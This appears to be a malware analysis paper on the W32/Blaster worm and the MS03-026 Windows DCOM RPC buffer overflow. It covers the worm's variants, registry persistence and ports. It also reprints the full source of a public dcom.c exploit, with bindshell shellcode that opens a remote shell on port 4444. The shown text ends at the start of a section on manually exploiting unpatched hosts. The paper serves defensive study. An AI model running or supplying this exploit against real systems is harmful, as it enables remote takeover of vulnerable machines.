4 Days Left to Save $400 on SANS Security East 2015, New Orleans

Malware FAQ: What is W32/Blaster worm?

Author: John Van Hoogstraten

Introduction

According to Symantec Corporation, "Blaster is an example of an increasingly dangerous type of computer virus known as a "blended threat." Blended threats combine the characteristics of viruses, worms, trojan horses, and other malicious code, taking advantage of vulnerabilities in operating systems and applications to initiate, transmit, and spread an attack. By combining multiple vectors and techniques, blended threats can spread rapidly and cause widespread damage. Effective protection from blended threats therefore requires a comprehensive security solution that contains multiple layers of defense and response mechanisms" (http://enterprisesecurity.symantec.com/pdf/Blaster_fs.pdf?EID=0).

W32/Blaster has become one of the fastest spreading viruses or worms to date, largely because of its blended threat design. In this paper I analyze the W32/Blaster worm and the underlying Microsoft MS03-026 RPC Buffer Overflow that is exploited to accomplish the goals of infection and propagation.

While largely unaffected by recent virus and worm outbreaks, the company I work for was hit relatively hard by W32/Blaster. How we prepared for, detected and dealt with the W32/Blaster worm is documented, along with the lessons we learned and the changes that were made to our IT environment, policies and procedures as a result of the experience gained from this incident.

The Exploit

This section provides a brief overview of the W32/Blaster worm and its variants, the operating systems it affects and the protocols, applications and services it exploits.

Identification of Exploit:
Name of Exploit: W32/Blaster
CVE Number: CAN-2003-0352
CERT Number: CA-2003-20
Microsoft Security Bulletin: MS03-026
BUGTRAQ Number: 8205
Also Known As: W32.Blaster.Worm (Symantec)
W32/Lovsan.worm.a (McAfee)
Win32.Poza.A (CA)
Lovsan (F-Secure)
WORM_MSBLAST.A (Trend)
W32/Blaster-A (Sophos)
W32/Blaster (Panda)
Worm.Win32.Lovesan (KAV)
Date of Discovery: August 11, 2003


Operating Systems Affected:

The following Microsoft operating systems are affected by the W32/Blaster Worm:
  • Windows XP
  • Windows 2000
  • Unpatched versions of Windows 2003 and Windows NT are also vulnerable to this exploit but the W32/Blaster worm is not coded to replicate to these operating systems.
Protocols/Applications/Services Affected:

The W32/Blaster worm exploits a vulnerability in unpatched versions of the Windows 2000 and Windows XP version of DCOM RPC (Remote Procedure Call). This is a vulnerability in the part of RPC that deals with message exchange over TCP/IP.

Microsoft released a patch on July 16, 2003 (27 day's prior to the appearance of the W32/Blaster Worm) that addresses this vulnerability in Microsoft Security Bulletin MS03-026.

The worm makes use of the following TCP/UDP Ports:
  • TCP Port 135 (DCOM RPC)
  • UDP Port 69 (TFTP)
  • TCP Port 4444 (Remote Shell)
Description

The W32/Blaster Worm exploits a known vulnerability in Microsoft's DCOM RPC that is detailed in Microsoft Security Bulletin MS03-026.

When executed, the worm attempts to retrieve a copy of the file msblast.exe from the compromising host. Once this file has been retrieved it is executed and the compromised system begins scanning for vulnerable systems to compromise in the same manner.

If the current date is the 16th through the end of the month from the months of January through August or if the current month is September through December the compromised system will attempt to perform a SYN flood denial of service attack against port 80 on the Microsoft windowsupdate.com Web site.

A remote shell backdoor that listens on TCP port 4444 is also installed, allowing an attacker to issue remote commands to the compromised system.

Variants

A number of variants of the W32/Blaster worm have been released into the wild since the original first appeared on July 16, 2003.

At the time this paper was written the known variants and their differences from the original W32/Blaster worm are:

W32/Blaster-B
  • Functionally equivalent to blaster.
  • This worm attempts to download the penis32.exe file to the %WinDir%\System32 folder, and then execute it.
  • Adds the value: "windows auto update"="penis32.exe" to the registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run so that the worm runs when Windows is started.
W32/Blaster-C
  • Functionally equivalent to blaster.
  • This worm attempts to download the Teekids.exe file to the %WinDir%\System32 folder, and then execute it.
  • W32/Blaster-C Worm may have been distributed in a package that also contained a backdoor trojan. The package would have had the following characteristics:
    • index.exe (32,045 bytes): Drops the worm and Backdoor components.
    • root32.exe (19,798 bytes): Backdoor component.
    • teekids.exe (5,360 bytes): Worm component.
  • Adds the value: "Microsoft Inet Xp.."="teekids.exe" to the registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run so that the worm runs when Windows is started.
W32/Blaster-D
  • Functionally equivalent to blaster.
  • This worm attempts to download the Mspatch.exe file to the %WinDir%\System32 folder, and then execute it.
  • Adds the value: "Nonton Antivirus"="mspatch.exe" to the registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run so that the worm runs when Windows is started.
W32/Blaster-E
  • Functionally equivalent to blaster.
  • This worm attempts to download the Mslaugh.exe file into the %Windir%\System32 folder, and then execute it.
  • The worm attempts to perform a denial of service on kimble.org. At the time of writing, kimble.org resolved to 127.0.0.1.
  • Adds the value: "windows automation"="mslaugh.exe" to the registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run so that the worm runs when Windows is started.
  • The worm contains the following text, which is never displayed: "I dedicate this particular strain to me ANG3L - hope yer enjoying yerself and dont forget the promise for me B/DAY !!!!"
W32/Blaster-F
  • Functionally equivalent to blaster.
  • This worm attempts to download the Enbiei.exe file into the %Windir%\System32 folder, and then execute it.
  • The worm also attempts to perform a denial of service on tuiasi.ro. At the time of writing, tuiasi.ro resolves to a blank address.
  • Adds the value: "www.hidro.4t.com"="enbiei.exe" to the registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run so that the worm runs when Windows is started.
The Attack

This section provides an in depth analysis of the W32/Blaster Worm, the vulnerability it exploits and its attack methodology. Because the MS03-026 Windows RPC vulnerability is integral to the functionality of W32/Blaster it is also discussed in detail. Methods of detecting and defending against the W32/Blaster worm finish up this section.

Description and Diagram of Network

The diagram below is a simplified and very abstracted high level depiction of my company's local and wide area networks. While all details relevant to the discussion at hand are included, depicting the network in its entirety and at full technical detail would take a great deal of space and not serve a purpose beyond adding unnecessary complexity.



Protocol and Service Description

Remote Procedure Call (RPC) is a protocol used by Microsoft's Windows operating systems for inter-process communication between applications. RPC allows an application running on one computer to seamlessly execute code on a remote system. The Microsoft RPC protocol is a derivation of the Open Software Foundation (OSF) RPC protocol with the addition of some Microsoft specific extensions.

How the Windows DCOM RPC Vulnerability Exploit Works

The MS03-026 Windows RPC vulnerability exploited by W32/Blaster was announced by Microsoft 27 days before the release of the worm on July 16th, 2003.

The Windows vulnerability exploited by the worm is in the part of RPC that deals with message exchange over TCP/IP. The failure occurs due to incorrect handling of malformed messages. The vulnerability affects a Distributed Component Model (DCOM) interface with RPC that listens on TCP/IP port 135. This port handles DCOM object activation requests that are sent from client machines to the server.

Successful exploitation of this vulnerability would allow an attacker to run code with Local System privileges on the compromised system. Once compromised the attacker would be able to take any action they chose, including installing programs, viewing, changing and deleting data, or adding accounts with full privileges.

Source code for the Microsoft Windows MS03-026 RPC Buffer Overflow Exploit

Several working exploits for the Microsoft Windows MS03-026 Buffer Overflow vulnerability were released onto the Internet prior to the advent of the W32/Blaster Worm. The source code for one of these exploits that has been ported to run on Win32 by Benjamin Lauziere is shown below. This source code (dcom.c) along with a precompiled binary version (dcom32.exe) of the exploit was obtained from:
http://www.illmob.org/rpc/DComExpl_UnixWin32.zip

/*
  DCOM RPC Overflow Discovered by LSD
   -> http://www.lsd-pl.net/files/get?WINDOWS/win32_dcom
   
  Based on FlashSky/Benjurry's Code
   -> http://www.xfocus.org/documents/200307/2.html
   
  Written by H D Moore 
   -> http://www.metasploit.com/

  Ported to Win32 by Benjamin Lauzière 
   
  - Usage: ./dcom  
  - Targets:
  -          0    Windows 2000 SP0 (english)
  -          1    Windows 2000 SP1 (english)
  -          2    Windows 2000 SP2 (english)
  -          3    Windows 2000 SP3 (english)
  -          4    Windows 2000 SP4 (english)
  -          5    Windows XP SP0 (english)
  -          6    Windows XP SP1 (english)
 
*/



#ifdef WIN32
#include 
#endif

#include 
#include 
#include 

#ifndef WIN32
#include 
#include 
#include 
#include 
#include 
#include 
#define STD_IN			0
#endif

#include 




unsigned char bindstr[] = {
	0x05, 0x00, 0x0B, 0x03, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00,
		0x00, 0x7F, 0x00, 0x00, 0x00,
	0xD0, 0x16, 0xD0, 0x16, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
		0x00, 0x01, 0x00, 0x01, 0x00,
	0xa0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00,
	0x04, 0x5D, 0x88, 0x8A, 0xEB, 0x1C, 0xC9, 0x11, 0x9F, 0xE8, 0x08,
		0x00,
	0x2B, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00
};

unsigned char request1[] = {
	0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0xE8, 0x03, 0x00,
		0x00, 0xE5, 0x00, 0x00, 0x00, 0xD0, 0x03, 0x00, 0x00, 0x01,
		0x00, 0x04, 0x00, 0x05, 0x00, 0x06, 0x00, 0x01, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x32, 0x24, 0x58, 0xFD, 0xCC,
		0x45, 0x64, 0x49, 0xB0, 0x70, 0xDD, 0xAE, 0x74, 0x2C, 0x96,
		0xD2, 0x60, 0x5E, 0x0D, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x70, 0x5E, 0x0D, 0x00, 0x02, 0x00, 0x00,
		0x00, 0x7C, 0x5E, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
		0x00, 0x00, 0x00, 0x80, 0x96, 0xF1, 0xF1, 0x2A, 0x4D, 0xCE,
		0x11, 0xA6, 0x6A, 0x00, 0x20, 0xAF, 0x6E, 0x72, 0xF4, 0x0C,
		0x00, 0x00, 0x00, 0x4D, 0x41, 0x52, 0x42, 0x01, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x0D, 0xF0, 0xAD, 0xBA, 0x00,
		0x00, 0x00, 0x00, 0xA8, 0xF4, 0x0B, 0x00, 0x60, 0x03, 0x00,
		0x00, 0x60, 0x03, 0x00, 0x00, 0x4D, 0x45, 0x4F, 0x57, 0x04,
		0x00, 0x00, 0x00, 0xA2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x38,
		0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00, 0x30,
		0x03, 0x00, 0x00, 0x28, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x01, 0x10, 0x08, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xC8,
		0x00, 0x00, 0x00, 0x4D, 0x45, 0x4F, 0x57, 0x28, 0x03, 0x00,
		0x00, 0xD8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
		0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0xC4, 0x28, 0xCD, 0x00, 0x64, 0x29, 0xCD,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0xB9,
		0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x46, 0xAB, 0x01, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x46, 0xA5, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xA6, 0x01, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x46, 0xA4, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xAD,
		0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x46, 0xAA, 0x01, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x46, 0x07, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x58,
		0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00,
		0x00, 0x20, 0x00, 0x00, 0x00, 0x78, 0x00, 0x00, 0x00, 0x30,
		0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x10, 0x08,
		0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0x50, 0x00, 0x00, 0x00, 0x4F,
		0xB6, 0x88, 0x20, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x01, 0x10, 0x08, 0x00, 0xCC, 0xCC, 0xCC,
		0xCC, 0x48, 0x00, 0x00, 0x00, 0x07, 0x00, 0x66, 0x00, 0x06,
		0x09, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x46, 0x10, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x19, 0x0C, 0x00, 0x58,
		0x00, 0x00, 0x00, 0x05, 0x00, 0x06, 0x00, 0x01, 0x00, 0x00,
		0x00, 0x70, 0xD8, 0x98, 0x93, 0x98, 0x4F, 0xD2, 0x11, 0xA9,
		0x3D, 0xBE, 0x57, 0xB2, 0x00, 0x00, 0x00, 0x32, 0x00, 0x31,
		0x00, 0x01, 0x10, 0x08, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0x80,
		0x00, 0x00, 0x00, 0x0D, 0xF0, 0xAD, 0xBA, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x18, 0x43, 0x14, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x4D,
		0x45, 0x4F, 0x57, 0x04, 0x00, 0x00, 0x00, 0xC0, 0x01, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x46, 0x3B, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00,
		0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01,
		0x00, 0x81, 0xC5, 0x17, 0x03, 0x80, 0x0E, 0xE9, 0x4A, 0x99,
		0x99, 0xF1, 0x8A, 0x50, 0x6F, 0x7A, 0x85, 0x02, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x10, 0x08, 0x00, 0xCC,
		0xCC, 0xCC, 0xCC, 0x30, 0x00, 0x00, 0x00, 0x78, 0x00, 0x6E,
		0x00, 0x00, 0x00, 0x00, 0x00, 0xD8, 0xDA, 0x0D, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x2F, 0x0C,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00,
		0x00, 0x46, 0x00, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
		0x10, 0x08, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0x10, 0x00, 0x00,
		0x00, 0x30, 0x00, 0x2E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x01, 0x10, 0x08, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0x68,
		0x00, 0x00, 0x00, 0x0E, 0x00, 0xFF, 0xFF, 0x68, 0x8B, 0x0B,
		0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00
};

unsigned char request2[] = {
	0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00,
		0x00, 0x5C, 0x00, 0x5C, 0x00
};

unsigned char request3[] = {
	0x5C, 0x00, 0x43, 0x00, 0x24, 0x00, 0x5C, 0x00, 0x31, 0x00, 0x32,
		0x00, 0x33, 0x00, 0x34, 0x00, 0x35, 0x00, 0x36, 0x00, 0x31,
		0x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x31,
		0x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x31,
		0x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x2E,
		0x00, 0x64, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x00, 0x00
};



unsigned char *targets[] = {
	"Windows 2000 SP0 (english)",
	"Windows 2000 SP1 (english)",
	"Windows 2000 SP2 (english)",
	"Windows 2000 SP3 (english)",
	"Windows 2000 SP4 (english)",
	"Windows XP SP0 (english)",
	"Windows XP SP1 (english)",
	NULL
};

unsigned long offsets[] = {
	0x77e81674,
	0x77e829ec,
	0x77e824b5,
	0x77e8367a,
	0x77f92a9b,
	0x77e9afe3,
	0x77e626ba,
};

unsigned char sc[] = "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00\x46\x00\x58\x00" "\xff\xff\xff\xff" /* return address */
	"\xcc\xe0\xfd\x7f" /* primary thread data block */
	"\xcc\xe0\xfd\x7f" /* primary thread data block */
    /* port 4444 bindshell */
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
	"\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
	"\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
	"\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
	"\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
	"\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
	"\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"
	"\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81"
	"\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"
	"\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"
	"\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"
	"\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"
	"\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"
	"\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"
	"\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"
	"\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"
	"\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"
	"\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"
	"\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"
	"\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"
	"\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"
	"\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"
	"\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"
	"\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"
	"\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"
	"\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"
	"\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"
	"\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"
	"\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"
	"\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"
	"\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"
	"\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04";



unsigned char request4[] = {
	0x01, 0x10, 0x08, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0x20, 0x00, 0x00,
		0x00, 0x30, 0x00, 0x2D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88,
		0x2A, 0x0C, 0x00, 0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
		0x00, 0x28, 0x8C, 0x0C, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};


/* ripped from TESO code */
#ifndef WIN32
void shell (int sock)
{
        int     l;
        char    buf[512];
        fd_set  rfds;


        while (1) {
                FD_SET (0, &rfds);
                FD_SET (sock, &rfds);

                select (sock + 1, &rfds, NULL, NULL, NULL);
                if (FD_ISSET (0, &rfds)) {
                        l = read (0, buf, sizeof (buf));
                        if (l <= 0) {
                                printf("\n - Connection closed by local user\n");
                                exit (EXIT_FAILURE);
                        }
                        write (sock, buf, l);
                }

                if (FD_ISSET (sock, &rfds)) {
                        l = read (sock, buf, sizeof (buf));
                        if (l == 0) {
                                printf ("\n - Connection closed by remote host.\n");
                                exit (EXIT_FAILURE);
                        } else if (l < 0) {
                                printf ("\n - Read failure\n");
                                exit (EXIT_FAILURE);
                        }
                        write (1, buf, l);
                }
        }
}
#endif


int main(int argc, char **argv)
{

	int     sock;
	int     len, len1;
	unsigned int target_id;
	unsigned long ret;
	struct sockaddr_in target_ip;
	unsigned short port = 135;
	unsigned char buf1[0x1000];
	unsigned char buf2[0x1000];

#ifdef WIN32
	WSADATA wsaData;
#endif

	printf("---------------------------------------------------------\n");
	printf("- Remote DCOM RPC Buffer Overflow Exploit\n");
	printf("- Original code by FlashSky and Benjurry\n");
	printf("- Rewritten by HDM \n");
	printf("- Ported to Win32 by Benjamin Lauzière \n");


	if (argc < 3) {
		printf("- Usage: %s  \n", argv[0]);
		printf("- Targets:\n");
		for(len = 0; targets[len] != NULL; len++) {
			printf("-          %d\t%s\n", len, targets[len]);
		}
		printf("\n");
		exit(1);
	}

	/* yeah, get over it :) */
	target_id = atoi(argv[1]);
	ret = offsets[target_id];

	printf("- Using return address of 0x%.8x\n", ret);

	memcpy(sc + 36, (unsigned char *)&ret, 4);

	target_ip.sin_family = AF_INET;
	target_ip.sin_addr.s_addr = inet_addr(argv[2]);
	target_ip.sin_port = htons(port);

#ifdef WIN32
	if (WSAStartup(MAKEWORD(2, 0), &wsaData)) {
		printf("WSAStartup failed\n");
		return 0;
	}
#endif

	if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
		perror("- Socket");
#ifdef WIN32
		WSACleanup();
#endif
		return (0);
	}

	if (connect(sock, (struct sockaddr *)&target_ip, sizeof(target_ip)) != 0) {
		perror("- Connect");
#ifdef WIN32
		WSACleanup();
#endif
		return (0);
	}

	len = sizeof(sc);
	memcpy(buf2, request1, sizeof(request1));
	len1 = sizeof(request1);

	*(unsigned long *)(request2) = *(unsigned long *)(request2) + sizeof(sc) / 2;
	*(unsigned long *)(request2 + 8) = *(unsigned long *)(request2 + 8) + sizeof(sc) / 2;

	memcpy(buf2 + len1, request2, sizeof(request2));
	len1 = len1 + sizeof(request2);
	memcpy(buf2 + len1, sc, sizeof(sc));
	len1 = len1 + sizeof(sc);
	memcpy(buf2 + len1, request3, sizeof(request3));
	len1 = len1 + sizeof(request3);
	memcpy(buf2 + len1, request4, sizeof(request4));
	len1 = len1 + sizeof(request4);

	*(unsigned long *)(buf2 + 8) = *(unsigned long *)(buf2 + 8) + sizeof(sc) - 0xc;
	*(unsigned long *)(buf2 + 0x10) = *(unsigned long *)(buf2 + 0x10) + sizeof(sc) - 0xc;
	*(unsigned long *)(buf2 + 0x80) = *(unsigned long *)(buf2 + 0x80) + sizeof(sc) - 0xc;
	*(unsigned long *)(buf2 + 0x84) = *(unsigned long *)(buf2 + 0x84) + sizeof(sc) - 0xc;
	*(unsigned long *)(buf2 + 0xb4) = *(unsigned long *)(buf2 + 0xb4) + sizeof(sc) - 0xc;
	*(unsigned long *)(buf2 + 0xb8) = *(unsigned long *)(buf2 + 0xb8) + sizeof(sc) - 0xc;
	*(unsigned long *)(buf2 + 0xd0) = *(unsigned long *)(buf2 + 0xd0) + sizeof(sc) - 0xc;
	*(unsigned long *)(buf2 + 0x18c) = *(unsigned long *)(buf2 + 0x18c) + sizeof(sc) - 0xc;

	if (send(sock, bindstr, sizeof(bindstr), 0) == -1) {
		perror("- Send");
#ifdef WIN32
		WSACleanup();
#endif
		return (0);
	}

	len = recv(sock, buf1, 1000, 0);

	if (send(sock, buf2, len1, 0) == -1) {
		perror("- Send");
#ifdef WIN32
		WSACleanup();
#endif
		return (0);
	}

#ifdef WIN32
	closesocket(sock);
	printf("Use Netcat to connect to %s:4444\n", argv[2]);
	WSACleanup();
#else
	close(sock);
	sleep(1);

	target_ip.sin_family = AF_INET;
	target_ip.sin_addr.s_addr = inet_addr(argv[2]);
	target_ip.sin_port = htons(4444);

	if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
		perror("- Socket");
		return (0);
	}

	if (connect(sock, (struct sockaddr *)&target_ip, sizeof(target_ip)) != 0) {
		printf("- Exploit appeared to have failed.\n");
		return (0);
	}

	printf("- Dropping to System Shell...\n\n");

	shell(sock);
#endif

	return (0);
}

Manually Exploiting the Microsoft Windows MS03-026 RPC Buffer Overflow
Once compiled, the dcom.32 application can be used in conjunction with an IP/Port scanner and Netcat to manually exploit an unpatched Microsoft Windows NT4.0, 2000, XP or 2003 system in the following manner:

